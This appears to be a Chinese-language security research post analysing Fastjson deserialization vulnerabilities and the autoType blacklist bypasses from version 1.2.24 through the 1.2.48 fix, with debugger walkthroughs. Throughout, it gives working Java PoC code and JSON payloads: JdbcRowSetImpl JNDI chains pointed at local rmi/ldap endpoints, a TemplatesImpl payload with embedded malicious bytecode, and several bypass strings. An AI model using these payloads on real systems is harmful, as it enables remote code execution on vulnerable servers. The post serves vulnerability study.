Fastjson反序列化
Fastjson
Fastjson是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Object 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 Java Object。项目地址
Fastjson提供了两个主要接口来分别实现对于Java Object的序列化和反序列化操作。
JSON.toJSONString
JSON.parseObject/JSON.parse
只有Java Bean格式的对象才能Fastjson被转为JSON(它们有标准的getter和setter方法)
1 2 3 4 5 6 7
| String text = JSON.toJSONString(obj);
VO vo = JSON.parse(); VO vo = JSON.parseObject("{...}"); VO vo = JSON.parseObject("{...}", VO.class);
|
对于
1
| {"@type":"Person","age":18,"name":"Faster"}
|
JSON.parse()
会把@type
当作类,调用构造方法,再调用类的setter方法把age,name属性写入,但是对于一些特殊的getter,fastjson也会调用,比如 FastJson 认为 getOutputProperties()
是 outputProperties
的访问器 。
JSON.parseObject("{...}")
其实是封装了parese(),把原本返回的对象调用getter方法取出属性放入JSONObject中
JSON.parseObject("{...}", VO.class)
则是把age,name写入指定的类对象
parse触发了set方法,parseObject同时触发了set和get方法,由于存在这种autoType
特性。如果@type
标识的类中的setter或getter方法存在恶意代码,那么就有可能存在fastjson反序列化漏洞。
Fastjson<=1.2.24
JdbcRowSetImpl利用链
JdbcRowSetImpl利用链最终的结果是导致JNDI注入,可以结合JNDI的攻击手法进行利用。是通用性最强的利用方式,在以下三种反序列化中均可使用,JDK版本限制和JNDI类似。
主要是JdbcRowSetImpl类的setter方法setAutoCommit,可以调用到connect

从而调用lookup进行JNDI注入攻击

demo:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| import com.alibaba.fastjson.JSON;
public class JdbcRowSetImpl { public static void rmi(){ String payload = "{" + "\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," + "\"dataSourceName\":\"rmi://127.0.0.1:1099/ref\", " + "\"autoCommit\":true" + "}"; JSON.parse(payload);
} public static void ldap(){ String payload = "{" + "\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," + "\"dataSourceName\":\"ldap://127.0.0.1:1099/ref\", " + "\"autoCommit\":true" + "}"; JSON.parse(payload); } public static void main(String[] args) { rmi(); } }
|
调试过程:
这种牢版本写得,整个调用栈还是比较复杂的,而且和后面版本差别很大,很多就不展开分析了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| connect:627, JdbcRowSetImpl (com.sun.rowset) setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) setValue:96, FieldDeserializer (com.alibaba.fastjson.parser.deserializer) parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer) parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) parseRest:922, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer) deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser) parse:137, JSON (com.alibaba.fastjson) parse:128, JSON (com.alibaba.fastjson) main:10, Fastjson_Jdbc_LDAP
|
前三步主要是解析json字符串,存在易于访问的变量中
1 2 3
| parse:137, JSON (com.alibaba.fastjson) parse:128, JSON (com.alibaba.fastjson) main:10, Fastjson_Jdbc_LDAP
|
到DefaultJSONParser中把我们的JdbcRowSetImpl类加载出来了(clazz),然后通过clazz的类型获取deserializer(FastjsonASMDeserializer_1_JdbcRowSetImpl),这个方法以字节码形式加载,具体里面发生了什么无法调试,在里面经过进一步解析

最后进入了JavaBeanDeserializer里,处理Beanclass后面把JdbcRowSetImpl实例化为了object对象

然后就是调用setter了,在DefaultFieldDeserializer中调用了setValue,这里边一定会调用JdbcRowSetImpl类的getter方法,跟进去

在setValue中,通过反射调用了method方法(即setAutoCommit,之前储存在FieldDeserializer的fieldInfo.method中了)

TemplatesImpl利用链
之前cc3的利用链:
newTransformer->getTransletInstance->defineTransletClasses->defineClass
而TemplatesImpl的getter方法getOutputProperties能调用newTransformer直接触发整个链加载恶意字节码

demo:
1 2 3 4 5 6 7
| { "@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "_bytecodes":[""] ,'_name':'name' ,'_tfactory':{ } ,"_outputProperties":{ } }
|
1 2 3 4 5 6 7 8 9 10 11 12
| import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.parser.ParserConfig; public class Fastjson_Temp { public static void main(String[] args) { ParserConfig config = new ParserConfig(); String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}"; JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField); } }
|
调试过程:
同上
Fastjson高版本绕过
怎么对比版本:
先把项目clone下来git clone https://github.com/alibaba/fastjson.git
然后签出要对比的版本,这里是1.2.24

然后把1.2.25与我们迁出的对比,点显示与工作树的差异

其实应该让1.2.25与1.2.24对比的(还是审计1.2.25的问题嘛,。),所以点交换分支
1.2.25-1.2.41绕过

其实改的挺少的,前面说在DefaultJSONParser中loadclass

发现多了一个checkAutoType检查类名的操作,但是在开启autoTypeSupport后存在逻辑漏洞,(没开启之前只允许白名单的类,开启后允许除了黑名单以外的类),使用Lcom.sun.rowset.JdbcRowSetImpl;
(类的前后加L
和;
)不会被黑名单检测,但是loadclass时会删除它们,使恶意类加载。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| package com.alibaba.fastjson.parser;
import com.alibaba.fastjson.JSON; public class Parse { public static void main(String[] args) { ParserConfig config = new ParserConfig(); config.setAutoTypeSupport(true); String text = "{" + "\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\"," + "\"dataSourceName\":\"ldap://127.0.0.1:1099/ref\", " + "\"autoCommit\":true" + "}"; JSON.parseObject(text, Object.class, config); } }
|
或者用parse(),下面的版本统一用JSON.parseObject
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| package com.alibaba.fastjson.parser;
import com.alibaba.fastjson.JSON; public class Parse { public static void main(String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String text = "{" + "\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\"," + "\"dataSourceName\":\"ldap://127.0.0.1:1099/ref\", " + "\"autoCommit\":true" + "}"; JSON.parse(text); } }
|
调试过程
开启autoTypeSupport后,没添加白名单,直接开始检测黑名单,startsWith因为我们加的L
不会匹配成功

然后下面又判断autoTypeSupport,进入loadClass

然后去掉L``;
加载类

1.2.42绕过
把黑名单换成了hash值,。

如果以L
开头;
结尾则去掉它们

当然可以双写绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| package com.alibaba.fastjson.parser;
import com.alibaba.fastjson.JSON; public class Parse { public static void main(String[] args) { ParserConfig config = new ParserConfig(); config.setAutoTypeSupport(true); String text = "{" + "\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\"," + "\"dataSourceName\":\"ldap://127.0.0.1:1099/ref\", " + "\"autoCommit\":true" + "}"; JSON.parseObject(text, Object.class, config); } }
|
1.2.43修复
处理了LL
开头,直接返回报错

把白名单改成用户自定义acceptHashCodes

但loadclass里面还处理了[
,但是会返回Array

DefaultUsoNParser.pareObject中checkAutotype之后根据clazz类型选则deserializer

进到ObjectArrayCodec,直接到parseArray的逻辑了

要求下一个token(逗号后的token)必须是[
,cao(它的except拼错了)

再下一层要求token是{

所以最终payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| package com.alibaba.fastjson.parser;
import com.alibaba.fastjson.JSON; public class Parse { public static void main(String[] args) { ParserConfig config = new ParserConfig(); config.setAutoTypeSupport(true); String text = "{" + "\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{," + "\"dataSourceName\":\"ldap://127.0.0.1:1099/ref\", " + "\"autoCommit\":true" + "}"; JSON.parseObject(text, Object.class, config); } }
|
1.2.44修复
增加了对[
的处理,直接报错

1.2.45绕过
添加了一些黑名单,但是有组件没有在黑名单中,比如org.apache.ibatis.datasource.jndi.JndiDataSourceFactory
1 2 3 4 5
| <dependency> <groupId>org.mybatis</groupId> <artifactId>mybatis</artifactId> <version>3.5.6</version> </dependency>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| package com.alibaba.fastjson.parser;
import com.alibaba.fastjson.JSON; public class Parse { public static void main(String[] args) { ParserConfig config = new ParserConfig(); config.setAutoTypeSupport(true); String text = "{\n" + " \"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\n" + " \"properties\":{\n" + " \"data_source\":\"ldap://127.0.0.1:1099/ref\"\n" + " }\n" + "}"; JSON.parseObject(text, Object.class, config); } }
|
调试过程
还是在DefaultJSONParser中,解析完@type
,checkAutotype没有被黑名单拦住,然后

getDeserializer
我们传入的JndiDataSourceFactory没有被注册,所以没有获取到deserializers中的deserializer,所以调用getDeserializer方法,跟进去看看

getDeserializer
经过一系列的检查,为这个组件加载、注册了FastJsonASMDerializer



然后在这个以字节码加载的方法中(调试不进去)调用了setter方法,到lookup触发JNDI注入

1.2.46修复
添加了一些黑名单,包括上面的org.apache.ibatis.datasource.jndi.JndiDataSourceFactory
1.2.47通杀绕过
影响版本:<font style="color:rgba(0, 0, 0, 0.8);background-color:rgb(241, 241, 241);">1.2.25 <= fastjson <= 1.2.32 未开启 AutoTypeSupport</font>
影响版本:<font style="color:rgba(0, 0, 0, 0.8);background-color:rgb(241, 241, 241);">1.2.33 <= fastjson <= 1.2.47</font>
描述:作者删除了一个 fastjson 的测试文件:<font style="color:rgba(0, 0, 0, 0.8);background-color:rgb(241, 241, 241);">https://github.com/alibaba/fastjson/commit/be41b36a8d748067ba4debf12bf236388e500c66</font>
,里面包含了这次通杀漏洞的 payload。
还是在checkAutoType中,检查autoTypeSupport之前,尝试从mappings和deserializers中加载类,如果能控制它们的话肯定能加载任意类

deserializers
我们能控制着写入deserializers的(绿色的有入参的)也就getDeserializer、putDeserializer了

<font style="color:rgba(0, 0, 0, 0.8);background-color:rgb(241, 241, 241);">getDeserializer()</font>
:这个类用来加载一些特定类,以及有 <font style="color:rgba(0, 0, 0, 0.8);background-color:rgb(241, 241, 241);">JSONType</font>
注解的类,它加载的类基本上是固定的,无法利用
<font style="color:rgba(0, 0, 0, 0.8);background-color:rgb(241, 241, 241);">putDeserializer()</font>
:两种调用都无法控制入参

mappings

只剩loadClass能用了
首先clzz要是Class.class,这也是使用MiscCodec的Deserializer的条件

然后strVal就是objVal

解析完@type的Class.class如果下一个键为val,读取它的值

然后恶意类就被加载进mappings了,当然,load出来的恶意类是不能调用其setter的,只能再解析一次

1 2 3 4 5 6 7 8 9 10 11 12
| { "1":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" } , "2":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://127.0.0.1:1099/ref", "autoCommit":"true" } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| package com.alibaba.fastjson.parser;
import com.alibaba.fastjson.JSON; public class Parse { public static void main(String[] args) { ParserConfig config = new ParserConfig(); String text = "{\n" + " \"1\":{\n" + " \"@type\":\"java.lang.Class\",\n" + " \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" + " }\n" + " ,\n" + " \"2\":{ \n" + " \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" + " \"dataSourceName\":\"ldap://127.0.0.1:1099/ref\",\n" + " \"autoCommit\":\"true\"\n" + " }\n" + "}"; JSON.parseObject(text, Object.class, config); } }
|
调试过程
parse完@type
把Class.class扔进checkAutotype中,java.lang.Class没有在黑名单中,

然后根据clazz选择下一步的deserializer,这里直接成了MiscCodec的deserializer

跟进MiscCodec的deserialize方法,读取val的值然后loadClass,把恶意类放入mapping,成功绕过黑名单

1.2.48版本修复
把cache默认值改为false
对TypeUtils#loadClass
中易于利用的第三处mapping.put
做了限制
将java.lang.Class
放入黑名单